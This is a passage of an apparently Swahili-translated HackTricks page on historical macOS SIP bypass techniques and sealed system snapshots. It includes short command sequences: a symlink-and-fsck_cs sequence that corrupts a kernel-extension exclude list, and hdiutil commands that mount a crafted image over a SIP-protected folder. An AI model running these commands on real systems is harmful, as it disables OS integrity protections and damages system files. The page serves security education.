`, faili ya `~/.zshenv` itaanza, ikiongeza haki za mizizi.
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
Katika [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/), iligundulika kuwa mchakato huo huo wa **`system_installd`** bado unaweza kutumiwa vibaya kwa sababu ulikuwa ukiiweka hati ya **post-install ndani ya saraka yenye jina la nasibu iliyolindwa na SIP ndani ya `/tmp`**. Jambo ni kwamba **`/tmp` yenyewe haijamilindwa na SIP**, kwa hivyo ilikuwa inawezekana **kufunga** picha ya **virtual kwenye hiyo**, kisha **msanidi programu** angeiweka ndani yake **hati ya post-install**, **kufunga** tena picha ya virtual, **kuunda upya** saraka zote na **kuongeza** hati ya **post-install** na **payload** ya kutekelezwa.
#### [zana ya fsck\_cs](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
Udhaifu uligunduliwa ambapo **`fsck_cs`** ulidanganywa kuharibu faili muhimu, kutokana na uwezo wake wa kufuata **viungo vya ishara**. Hasa, wadukuzi walitengeneza kiungo kutoka _`/dev/diskX`_ kwenda faili ya `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Kutekeleza **`fsck_cs`** kwenye _`/dev/diskX`_ kulifanya `Info.plist` kuharibika. Uadilifu wa faili hii ni muhimu kwa Ulinzi wa Uadilifu wa Mfumo wa mfumo wa uendeshaji, ambao unadhibiti kupakia nyongeza za kernel. Mara ilipoharibika, uwezo wa SIP wa kusimamia uzuiaji wa kernel unakuwa hatarini.
Amri za kutumia udhaifu huu ni:
```bash
ln -s /System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist /dev/diskX
fsck_cs /dev/diskX 1>&-
touch /Library/Extensions/
reboot
```
Udhalilishaji wa udhaifu huu una athari kubwa. Faili ya `Info.plist`, kawaida inayohusika na usimamizi wa ruhusa za nyongeza za kernel, inakuwa haifanyi kazi. Hii ni pamoja na kutokuweza kuweka orodha nyeusi ya nyongeza fulani, kama vile `AppleHWAccess.kext`. Kwa hivyo, na mfumo wa udhibiti wa SIP ukiwa umeharibika, nyongeza hii inaweza kupakia, ikiruhusu ufikiaji usiohalali wa kusoma na kuandika kwenye RAM ya mfumo.
#### [Kufunga juu ya folda zilizolindwa na SIP](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
Ilikuwa inawezekana kufunga mfumo wa faili mpya juu ya **folda zilizolindwa na SIP ili kuepuka ulinzi**.
```bash
mkdir evil
# Add contento to the folder
hdiutil create -srcfolder evil evil.dmg
hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
```
#### [Kupuuza Upgrader (2016)](https://objective-see.org/blog/blog\_0x14.html)
Mfumo umewekwa ili kuanza kutoka kwenye picha ya diski ya mwendeshaji iliyounganishwa ndani ya `Install macOS Sierra.app` ili kuboresha mfumo wa uendeshaji, kwa kutumia kifaa cha `bless`. Amri inayotumiwa ni kama ifuatavyo:
```bash
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
```
Usalama wa mchakato huu unaweza kudhoofishwa ikiwa mshambuliaji anabadilisha picha ya kuboresha (`InstallESD.dmg`) kabla ya kuanza. Mkakati huu unahusisha kubadilisha mzigo wa kudumu (dyld) na toleo la hatari (`libBaseIA.dylib`). Mabadiliko haya husababisha utekelezaji wa nambari ya mshambuliaji wakati mchakato wa kufunga unaanzishwa.
Nambari ya mshambuliaji inapata udhibiti wakati wa mchakato wa kuboresha, ikitumia imani ya mfumo katika programu ya kufunga. Shambulio linaendelea kwa kubadilisha picha ya `InstallESD.dmg` kupitia njia ya kubadilishana, haswa ikilenga njia ya `extractBootBits`. Hii inaruhusu uingizaji wa nambari ya hatari kabla ya picha ya diski kutumiwa.
Zaidi ya hayo, ndani ya `InstallESD.dmg`, kuna `BaseSystem.dmg`, ambayo ni mfumo wa faili wa msingi wa nambari ya kuboresha. Kuingiza maktaba ya kudumu ndani yake kunaruhusu nambari ya hatari kufanya kazi ndani ya mchakato ambao unaweza kubadilisha faili za kiwango cha mfumo, ikiongeza sana uwezekano wa kudhoofisha mfumo.
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
Katika mazungumzo haya kutoka [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), inaonyeshwa jinsi **`systemmigrationd`** (ambayo inaweza kuepuka SIP) inatekeleza script ya **bash** na **perl**, ambayo inaweza kutumiwa vibaya kupitia mazingira ya pembejeo **`BASH_ENV`** na **`PERL5OPT`**.
### **com.apple.rootless.install**
{% hint style="danger" %}
Ruhusa ya **`com.apple.rootless.install`** inaruhusu kuepuka SIP
{% endhint %}
Ruhusa ya `com.apple.rootless.install` inajulikana kuepuka System Integrity Protection (SIP) kwenye macOS. Hii ilielezwa hasa kuhusiana na [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
Katika kesi hii maalum, huduma ya XPC ya mfumo iliyoko kwenye `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` inamiliki ruhusa hii. Hii inaruhusu mchakato unaohusiana kuepuka vizuizi vya SIP. Zaidi ya hayo, huduma hii hasa ina njia inayoruhusu hoja ya faili bila kutekeleza hatua yoyote ya usalama.
## Picha Zilizofungwa za Mfumo
Picha Zilizofungwa za Mfumo ni kipengele kilicholetwa na Apple katika **macOS Big Sur (macOS 11)** kama sehemu ya mfumo wake wa **System Integrity Protection (SIP)** ili kutoa safu ya ziada ya usalama na utulivu wa mfumo. Kimsingi, ni toleo lisiloweza kuhaririwa la kiasi cha mfumo.
Hapa kuna muhtasari zaidi:
1. **Mfumo Usiobadilika**: Picha Zilizofungwa za Mfumo hufanya kiasi cha mfumo wa macOS kuwa "usiobadilika", maana yake haiwezi kuhaririwa. Hii inazuia mabadiliko yoyote yasiyoruhusiwa au ya bahati mbaya kwenye mfumo ambayo inaweza kudhoofisha usalama au utulivu wa mfumo.
2. **Visasisho vya Programu ya Mfumo**: Unapoweka visasisho au uboreshaji wa macOS, macOS hujenga picha mpya ya mfumo. Kisha kiasi cha kuanza cha macOS kinatumia **APFS (Apple File System)** kubadilisha kwenye picha hii mpya. Mchakato mzima wa kuomba visasisho unakuwa salama na wa kuaminika zaidi kwani mfumo unaweza kurudi kwenye picha ya awali ikiwa kuna shida wakati wa kusasisha.
3. **Ugawaji wa Data**: Kwa kushirikiana na dhana ya kugawanya kiasi cha Data na Mfumo iliyowasilishwa katika macOS Catalina, kipengele cha Picha Zilizofungwa za Mfumo kinahakikisha kuwa data yako yote na mipangilio inahifadhiwa kwenye kiasi tofauti cha "**Data**". Kugawanya huku kunafanya data yako kuwa huru kutoka kwa mfumo, ambayo inasaidia mchakato wa visasisho vya mfumo na kuimarisha usalama wa mfumo.
Kumbuka kuwa picha hizi zinaendeshwa moja kwa moja na macOS na hazichukui nafasi ya ziada kwenye diski yako, shukrani kwa uwezo wa kushiriki nafasi wa APFS. Ni muhimu pia kutambua kuwa picha hizi zinatofautiana na **picha za Time Machine**, ambazo ni nakala rudufu zinazopatikana kwa mtumiaji ya mfumo mzima.
### Angalia Picha Zilizofungwa
Amri **`diskutil apfs list`** inaorodhesha **maelezo ya kina ya kiasi cha APFS** na muundo wake:
+-- Kifaa cha kuhifadhi disk3 966B902E-EDBA-4775-B743-CF97A0556A13
| ====================================================
| Kumbukumbu ya Chombo cha APFS: disk3
| Ukubwa (Uwezo wa Juu): 494384795648 B (494.4 GB)
| Uwezo Uliotumiwa na Vipimo: 219214536704 B (219.2 GB) (44.3% imeitwa)
| Uwezo Usiotengwa: 275170258944 B (275.2 GB) (55.7% ya bure)
| |
| +-< Uhifadhi wa Fizikia disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| | -----------------------------------------------------------
| | Uhifadhi wa Fizikia wa APFS: disk0s2
| | Ukubwa: 494384795648 B (494.4 GB)
| |
| +-> Kiasi disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
| | ---------------------------------------------------
| | Kiasi cha APFS (Jukumu): disk3s1 (Mfumo)
| | Jina: Macintosh HD (Haijali herufi kubwa)
| | Nafasi ya Kufunga: /System/Volumes/Update/mnt1
| | Uwezo Uliotumiwa: 12819210240 B (12.8 GB)
| | Imefungwa: Imevunjika
| | FileVault: Ndiyo (Imefunguliwa)
| | Imefichwa: Hapana
| | |
| | Picha ya Kumbukumbu: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
| | Kumbukumbu ya Picha: disk3s1s1
| | Nafasi ya Kufunga ya Picha: /
| | Picha Imefungwa: Ndiyo
[...]
+-> Kiasi disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
| ---------------------------------------------------
| Kiasi cha APFS (Jukumu): disk3s5 (Data)
| Jina: Macintosh HD - Data (Haijali herufi kubwa)
| Nafasi ya Kufunga: /System/Volumes/Data
| Uwezo Uliotumiwa: 412071784448 B (412.1 GB)
| Imefungwa: Hapana
| FileVault: Ndiyo (Imefunguliwa)
Katika matokeo hapo juu, ni wazi kuwa maeneo yanayopatikana kwa mtumiaji yamefungwa chini ya `/System/Volumes/Data`.
Zaidi ya hayo, kiasi cha mfumo cha macOS kimefungwa na kimefungwa kwenye `/`, na ni **imefungwa** (imehifadhiwa kwa saini ya kielektroniki na mfumo wa uendeshaji). Kwa hivyo, ikiwa SIP inapuuzwa na kubadilishwa, **mfumo hautaanza tena**.
Pia ni muhimu kuhakikisha kuwa muhuri umewezeshwa kwa kukimbia:
```bash
csrutil authenticated-root status
Authenticated Root status: enabled
```
Zaidi ya hayo, diski ya picha pia imefungwa kama **soma-tu**:
```
mount
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
```
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.